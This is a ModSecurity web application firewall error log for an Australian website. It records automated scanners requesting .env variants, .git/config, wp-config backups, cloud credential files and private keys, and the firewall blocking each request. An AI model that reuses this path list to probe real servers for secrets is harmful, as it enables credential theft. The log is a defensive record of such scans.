[Thu Apr 30 08:08:58.421680 2026] [:error] [pid 18111:tid 18133] [client 15.152.74.102:39960] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.bak"] [unique_id "afKdmmctLbxB7Q1_oK2SjQAAAAs"]
[Thu Apr 30 08:08:59.003800 2026] [:error] [pid 18112:tid 18169] [client 15.152.74.102:39966] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.backup"] [unique_id "afKdmyUrJv3y8j6Lm1u42gAAAFM"]
[Thu Apr 30 08:08:59.589768 2026] [:error] [pid 18112:tid 18171] [client 15.152.74.102:39982] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.save"] [unique_id "afKdmyUrJv3y8j6Lm1u43AAAAFU"]
[Thu Apr 30 08:09:00.176692 2026] [:error] [pid 18112:tid 18174] [client 15.152.74.102:39996] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.old"] [unique_id "afKdnCUrJv3y8j6Lm1u43QAAAFg"]
[Thu Apr 30 08:09:00.765272 2026] [:error] [pid 18112:tid 18167] [client 15.152.74.102:40000] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.sample"] [unique_id "afKdnCUrJv3y8j6Lm1u43gAAAFE"]
[Thu Apr 30 08:09:01.346889 2026] [:error] [pid 18112:tid 18173] [client 15.152.74.102:40012] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.example"] [unique_id "afKdnSUrJv3y8j6Lm1u44AAAAFc"]
[Thu Apr 30 08:09:01.932187 2026] [:error] [pid 18111:tid 18132] [client 15.152.74.102:40018] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dev"] [unique_id "afKdnWctLbxB7Q1_oK2SkAAAAAo"]
[Thu Apr 30 08:09:02.519851 2026] [:error] [pid 18220:tid 18232] [client 15.152.74.102:40034] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.prod"] [unique_id "afKdnsyESVSfAPebmxb_ZgAAAMk"]
[Thu Apr 30 08:09:03.105996 2026] [:error] [pid 18111:tid 18139] [client 15.152.74.102:40048] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.stage"] [unique_id "afKdn2ctLbxB7Q1_oK2SlAAAABE"]
[Thu Apr 30 08:09:03.687010 2026] [:error] [pid 18111:tid 18140] [client 15.152.74.102:40050] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.ci"] [unique_id "afKdn2ctLbxB7Q1_oK2SmAAAABI"]
[Thu Apr 30 08:09:04.271898 2026] [:error] [pid 18220:tid 18224] [client 15.152.74.102:40056] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.docker"] [unique_id "afKdoMyESVSfAPebmxb_bAAAAME"]
[Thu Apr 30 08:09:04.859789 2026] [:error] [pid 52436:tid 52461] [client 15.152.74.102:40072] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.live"] [unique_id "afKdoALFWPk_P7AfE8f9_gAAAVY"]
[Thu Apr 30 08:09:05.448980 2026] [:error] [pid 18112:tid 18160] [client 15.152.74.102:40078] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.preprod"] [unique_id "afKdoSUrJv3y8j6Lm1u46QAAAEo"]
[Thu Apr 30 08:09:06.037133 2026] [:error] [pid 18112:tid 18174] [client 15.152.74.102:34540] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.uat"] [unique_id "afKdoiUrJv3y8j6Lm1u46wAAAFg"]
[Thu Apr 30 08:09:06.617994 2026] [:error] [pid 18112:tid 18159] [client 15.152.74.102:34546] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dist"] [unique_id "afKdoiUrJv3y8j6Lm1u47AAAAEk"]
[Thu Apr 30 08:09:07.206657 2026] [:error] [pid 18112:tid 18165] [client 15.152.74.102:34556] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.swp"] [unique_id "afKdoyUrJv3y8j6Lm1u47wAAAE8"]
[Thu Apr 30 08:09:07.785926 2026] [:error] [pid 18112:tid 18150] [client 15.152.74.102:34566] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env~"] [unique_id "afKdoyUrJv3y8j6Lm1u48QAAAEA"]
[Thu Apr 30 08:09:08.371411 2026] [:error] [pid 18111:tid 18124] [client 15.152.74.102:34578] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env"] [unique_id "afKdpGctLbxB7Q1_oK2SmQAAAAI"]
[Thu Apr 30 08:09:08.959744 2026] [:error] [pid 18113:tid 18192] [client 15.152.74.102:34584] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/apps/.env"] [unique_id "afKdpHiIjwsVGkvz5IlioQAAAI8"]
[Thu Apr 30 08:09:09.547349 2026] [:error] [pid 18220:tid 18237] [client 15.152.74.102:34594] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env"] [unique_id "afKdpcyESVSfAPebmxb_bwAAAM4"]
[Thu Apr 30 08:09:10.131294 2026] [:error] [pid 18112:tid 18160] [client 15.152.74.102:34600] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/web/.env"] [unique_id "afKdpiUrJv3y8j6Lm1u49QAAAEo"]
[Thu Apr 30 08:09:10.711475 2026] [:error] [pid 52350:tid 52369] [client 15.152.74.102:34602] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/site/.env"] [unique_id "afKdpv1j4GHE9hm7bfdZLQAAAQs"]
[Thu Apr 30 08:09:11.296998 2026] [:error] [pid 18112:tid 18162] [client 15.152.74.102:34614] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/public/.env"] [unique_id "afKdpyUrJv3y8j6Lm1u4-QAAAEw"]
[Thu Apr 30 08:09:11.883687 2026] [:error] [pid 52350:tid 52363] [client 15.152.74.102:34628] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/admin/.env"] [unique_id "afKdp_1j4GHE9hm7bfdZLgAAAQU"]
[Thu Apr 30 08:09:12.469047 2026] [:error] [pid 18112:tid 18172] [client 15.152.74.102:34632] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/backend/.env"] [unique_id "afKdqCUrJv3y8j6Lm1u4_gAAAFY"]
[Thu Apr 30 08:09:13.054497 2026] [:error] [pid 52350:tid 52370] [client 15.152.74.102:34634] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/server/.env"] [unique_id "afKdqf1j4GHE9hm7bfdZMAAAAQw"]
[Thu Apr 30 08:09:13.631020 2026] [:error] [pid 18111:tid 18125] [client 15.152.74.102:34646] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/frontend/.env"] [unique_id "afKdqWctLbxB7Q1_oK2SmwAAAAM"]
[Thu Apr 30 08:09:14.216936 2026] [:error] [pid 18111:tid 18142] [client 15.152.74.102:34662] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/src/.env"] [unique_id "afKdqmctLbxB7Q1_oK2SnAAAABQ"]
[Thu Apr 30 08:09:14.803129 2026] [:error] [pid 18113:tid 18181] [client 15.152.74.102:34676] [client 15.152.74.102] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/core/.env"] [unique_id "afKdqniIjwsVGkvz5IliogAAAIQ"]
[Thu Apr 30 09:47:35.605219 2026] [:error] [pid 18220:tid 18238] [client 84.233.199.140:61052] [client 84.233.199.140] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "afK0t8yESVSfAPebmxYKsgAAAM8"]
[Thu Apr 30 13:43:54.750574 2026] [:error] [pid 18111:tid 18126] [client 98.93.162.161:34172] [client 98.93.162.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "afLsGmctLbxB7Q1_oK0KjgAAAAQ"]
[Thu Apr 30 22:06:15.044048 2026] [autoindex:error] [pid 6456:tid 6461] [client 80.241.213.248:51359] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri May 01 00:50:48.249992 2026] [:error] [pid 21839:tid 21856] [client 35.246.9.160:37366] [client 35.246.9.160] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "afOIaJ_Sh66m95WwxJ4TugAAAU4"]
[Fri May 01 02:52:09.950882 2026] [:error] [pid 5732:tid 5781] [client 136.109.157.70:41356] [client 136.109.157.70] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "afOk2duJ3iSd5Gdjqlh1PgAAANI"]
[Fri May 01 04:56:40.291910 2026] [:error] [pid 38014:tid 38041] [client 92.53.64.155:58404] [client 92.53.64.155] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "afPCCFHplhcdzdndjk39ZQAAABI"]
[Fri May 01 12:07:54.209940 2026] [proxy_fcgi:error] [pid 24996:tid 25045] [client 62.164.177.15:60978] AH01071: Got error 'Primary script unknown'
[Fri May 01 13:45:20.404786 2026] [proxy_fcgi:error] [pid 24995:tid 25000] [client 34.130.150.212:56830] AH01071: Got error 'Primary script unknown'
[Fri May 01 13:45:20.408675 2026] [proxy_fcgi:error] [pid 24996:tid 25047] [client 34.130.150.212:56842] AH01071: Got error 'Primary script unknown'
[Fri May 01 13:45:20.409421 2026] [proxy_fcgi:error] [pid 24995:tid 25006] [client 34.130.150.212:56832] AH01071: Got error 'Primary script unknown'
[Fri May 01 13:45:20.415367 2026] [proxy_fcgi:error] [pid 24995:tid 25017] [client 34.130.150.212:56856] AH01071: Got error 'Primary script unknown'
[Fri May 01 13:45:20.431721 2026] [:error] [pid 24995:tid 25016] [client 34.130.150.212:56908] [client 34.130.150.212] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||agraphics.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/.config/gcloud/credentials.db"] [unique_id "afQ98OdJG9WB_Q_ne0t0EQAAAFE"]
[Fri May 01 13:45:21.038251 2026] [:error] [pid 24997:tid 25073] [client 34.130.150.212:57022] [client 34.130.150.212] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/wp-config.php.bak"] [unique_id "afQ98fOkHa4ScY5oo8xcSgAAANE"]
[Fri May 01 13:45:21.253979 2026] [:error] [pid 24996:tid 25032] [client 34.130.150.212:57024] [client 34.130.150.212] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/wp-config.php~"] [unique_id "afQ98SDBq9mMfUWQQeoNkQAAAIQ"]
[Fri May 01 13:45:21.257808 2026] [:error] [pid 24995:tid 25003] [client 34.130.150.212:57036] [client 34.130.150.212] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.old" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/wp-config.old"] [unique_id "afQ98edJG9WB_Q_ne0t0GgAAAEQ"]
[Fri May 01 13:45:21.264878 2026] [:error] [pid 24996:tid 25028] [client 34.130.150.212:57040] [client 34.130.150.212] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.txt" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/wp-config.txt"] [unique_id "afQ98SDBq9mMfUWQQeoNkgAAAIA"]
[Fri May 01 13:45:21.265991 2026] [:error] [pid 25085:tid 25101] [client 34.130.150.212:57046] [client 34.130.150.212] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.bak" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/wp-config.bak"] [unique_id "afQ98fuD8fWRiE0RX0GovgAAAUo"]
[Fri May 01 13:45:21.277706 2026] [:error] [pid 24996:tid 25059] [client 34.130.150.212:57074] [client 34.130.150.212] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/config/parameters.yml" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/config/parameters.yml"] [unique_id "afQ98SDBq9mMfUWQQeoNkwAAAJg"]
[Fri May 01 13:45:21.733099 2026] [:error] [pid 25085:tid 25094] [client 34.130.150.212:57202] [client 34.130.150.212] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sites/default/settings.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sites/default/settings.php"] [unique_id "afQ98fuD8fWRiE0RX0GoxgAAAUM"]
[Fri May 01 13:45:21.747427 2026] [:error] [pid 24997:tid 25065] [client 34.130.150.212:57216] [client 34.130.150.212] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||agraphics.com.au|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/storage/logs/laravel.log"] [unique_id "afQ98fOkHa4ScY5oo8xcUQAAAMk"]
[Fri May 01 13:45:21.845310 2026] [:error] [pid 24997:tid 25077] [client 34.130.150.212:57242] [client 34.130.150.212] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||agraphics.com.au|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/server.key"] [unique_id "afQ98fOkHa4ScY5oo8xcUwAAANU"]
[Fri May 01 13:45:21.848304 2026] [:error] [pid 24997:tid 25064] [client 34.130.150.212:57250] [client 34.130.150.212] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||agraphics.com.au|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/private.key"] [unique_id "afQ98fOkHa4ScY5oo8xcVAAAAMg"]
[Fri May 01 14:04:22.051015 2026] [:error] [pid 33791:tid 33802] [client 88.151.33.107:14304] [client 88.151.33.107] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.local"] [unique_id "afRCZm9ixd-moLycM9B3CAAAAAg"]
[Fri May 01 14:04:22.051087 2026] [:error] [pid 24995:tid 25017] [client 88.151.33.107:14310] [client 88.151.33.107] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.production"] [unique_id "afRCZudJG9WB_Q_ne0t3EgAAAFI"]
[Fri May 01 14:04:22.052129 2026] [:error] [pid 33791:tid 33818] [client 88.151.33.107:14334] [client 88.151.33.107] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/backend/.env"] [unique_id "afRCZm9ixd-moLycM9B3CgAAABg"]
[Fri May 01 14:04:22.052866 2026] [:error] [pid 33791:tid 33796] [client 88.151.33.107:14328] [client 88.151.33.107] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/api/.env"] [unique_id "afRCZm9ixd-moLycM9B3DAAAAAI"]
[Fri May 01 14:04:22.055545 2026] [:error] [pid 25085:tid 25097] [client 88.151.33.107:14296] [client 88.151.33.107] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "afRCZvuD8fWRiE0RX0GvfQAAAUY"]
[Fri May 01 14:04:22.059070 2026] [:error] [pid 24995:tid 25012] [client 88.151.33.107:14322] [client 88.151.33.107] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/app/.env"] [unique_id "afRCZudJG9WB_Q_ne0t3EwAAAE0"]
[Sat May 02 02:46:46.527088 2026] [:error] [pid 50214:tid 50225] [client 34.9.149.36:53287] [client 34.9.149.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.9.149.36, counter = 6"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "afT1Fos0pgrtfZkbhjOkGAAAAYc"]
[Sat May 02 02:46:46.991113 2026] [:error] [pid 25320:tid 25342] [client 34.9.149.36:64707] [client 34.9.149.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.9.149.36, counter = 6"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "afT1Flc3wJ-3-XaXB3pluAAAARM"]
[Sat May 02 02:46:47.476742 2026] [:error] [pid 25320:tid 25344] [client 34.9.149.36:52822] [client 34.9.149.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.9.149.36, counter = 6"] [hostname "agraphics.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "afT1F1c3wJ-3-XaXB3pluwAAARU"]
